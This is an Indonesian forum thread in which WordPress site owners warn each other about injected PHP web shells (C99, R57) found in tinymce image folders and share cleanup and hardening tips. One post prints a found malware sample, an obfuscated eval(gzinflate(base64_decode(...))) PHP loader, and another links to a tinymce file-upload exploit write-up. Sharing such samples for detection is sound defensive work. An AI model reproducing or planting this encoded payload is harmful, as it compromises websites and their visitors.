Hati-hati SQL Inject / XSS

ada salah satu blog ane yg kena juga, di cek log nya mengarah ke wp-includes yang mana ada beberapa file PHP asing di luar standar File2 Wordpress

Setelah di telusuri emang benar isi nya, file inject. tepat nya di blog ane pake C99

Sekedar info ajah, beberapa blog ane di Hostgator juga ada indikasi sama, beberapa kena namun belum sampai "HACKED"

Silahkan di cek aja

Code:

/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img

atau 

/wp-includes/js/tinymce/themes/advanced/skins
Disini ada beberapa folder, coba masuk directory img kalau ada file .php delete aja itu bukan bawaan wordpress

Install Plugins
- wp-firewall
- Block Bad Queries
- Security Scan
- Silahkan pilih aja ...

Contoh di error Log

Semoga membantu

 

thanks4sharedotcom bos.
berarti kalo ada file php dalam folder img,
web kita kena hack ya bos?

 

Saya kurang tau pasti nya mas, cuman di folder IMG ga ada file php. standar nya gitu. kalo emang penasaran barangkali ada buka aja di notepad. liat isi nya.

lebih mantap nya buka error log di file manager.
biasanya kalau ada error2 EVAL gitu ada indikasi kena juga namun belum sampai hacked.

kalau di blog ane kebetulan pake scripts C99, kalau penasaran googing aja C99Shell atau R57

buat antisipasi ga ada salahnya

 

nice info gan
but kalo begituan si sama aja gan
mending ganti wp-login.php nya ..hehehe
biar ngenes tuh heker'a dah masuk tapi ga dapet wp login'a ..hahahaha

 

kalo pengen mencegah sql injection caranye cukup mudah gan, kita tinggal hapus file install.php di folder wp-admin sehabis melakukan instalasi wordpress baru. inget loh ini ane bilang cuma mencegah.

nih ane tambahin list plugin keamanan yang ane pake selain list plugin diatas:

-login lockdown
-secure wordpress
-wp firewall 2 (bukan yang wp firewall)

 

kalo yang ada yang nyisipin script adsense itu biasanya di folder ato file mana yah? coz punyaku ada yang nyisipin. di blog tampilnya di footer.
di wp-login di tengah ngalangin kalo kita mo masukin username. di wp-admin ngalangin kalo kita mo nulis judul posting. kalo ane ga mikir kasian pasti dah ane klik fraud tuh. sekarang ane biarin coz itu blog minim trafick dan hampir terbengkalai.

 

pake versi brapa gan wp nya? harus d temuin lubangnya nih,, ada yg tau???

 

Footer.php bisa juga di function ..

ane tambahin gambar biar jelas .. ini di folder
/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img

 

makasih gan, tapi ane liatdi image ga ada php2nya. di footer ga ada script adsense. di function juga ga ada. penampakanya seperti ini:

View attachment 9271 View attachment 9272 View attachment 9273

 

jadi ini solusi permasalahan ane yg disini http://www.adsense-id.com/forums/showthread.php/85086-Please-Help-Me..!-Theme-blog-satu-hosting-kena-inject-kode-anehh.. ya sob?

 

sekedar tips, daripada buka satu per satu file yang ada di wp-includes atau mungkin ada di wp-admin

Code:

1. backup terlebih dahulu file dan database anda
2. periksa seluruh isi wp-content (termasuk tema dan plugin) kali aja nyelip disana
3. kalau wp-content dah bersih, en gak ada tanda-tanda mencurigakan saatnya ke direktori lain
4. download wordpress versi terbaru http://wordpress.org/latest.tar.gz
5. hapus wp-admin dan wp-includes yang ada di website, replace dengan wp terbaru.
6. tes apakah website berjalan dengan semua.
7. kalau ada error, coba restore dari backupan, kalau mulus-mulus aja berarti proses reinstall wp berhasil.

untuk versi wp sebelumnya, nanti setelah ter replace semua file wp-admin dan wp-content nya, masih ke namadomain.ext/wp-admin/upgrade.php
untuk mengugrade dari versi sebelumnya ke versi sekarang

 

buset ada yg nanem php shell punya gw jg kemaren sempet kena
iksss
makanya sekarang table prefix wp nya jangan standar wp_ di ganti apa kek jadi wp548456_
bisa meminimalisir sql injection attact
sisanya gw gk tau deh
hehehehehe
harus hati2 emang

 

,hmm jdi perlu hati2 nih
hacker merajalela

 

Eumm kayanya plugin tiny mce nya yang vulnerable tuh TS, cekidot hxxp://urduhack.blogspot.com/2011/05/tinymce-ajaxfilemanager-upload.html
Mungkin bisa di restrict di .htaccess nya supaya bot bot bug scanner berbasis perl gak bisa "masuk"

 

bener bos, tinymce ku di pluging Ucan Post juga mengandung file2 aneh , sama seperti blog agan dan aganwati .....bagi yang sudah pernah kena: cek semua file PHP Anda

---------- Post added at 10:37 PM ---------- Previous post was at 10:26 PM ----------

nambahin penampakan gan:

PHP:

<?php /*f5290f31e9c3a739c23b505a32cc7ea1*/ eval(gzinflate(base64_decode('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')));?>


 

thanks gan tambahannya

 

aduh bahaya juga. security wp kq semakin lama semakin amburadul yah. kemaren kena 1. segera mengamankan site satu2 nih.

 

yooo manut
BTW yg diatas ane siggy nya
muantep....

 

keren sharenya

 

abis masang pengaman disemua blog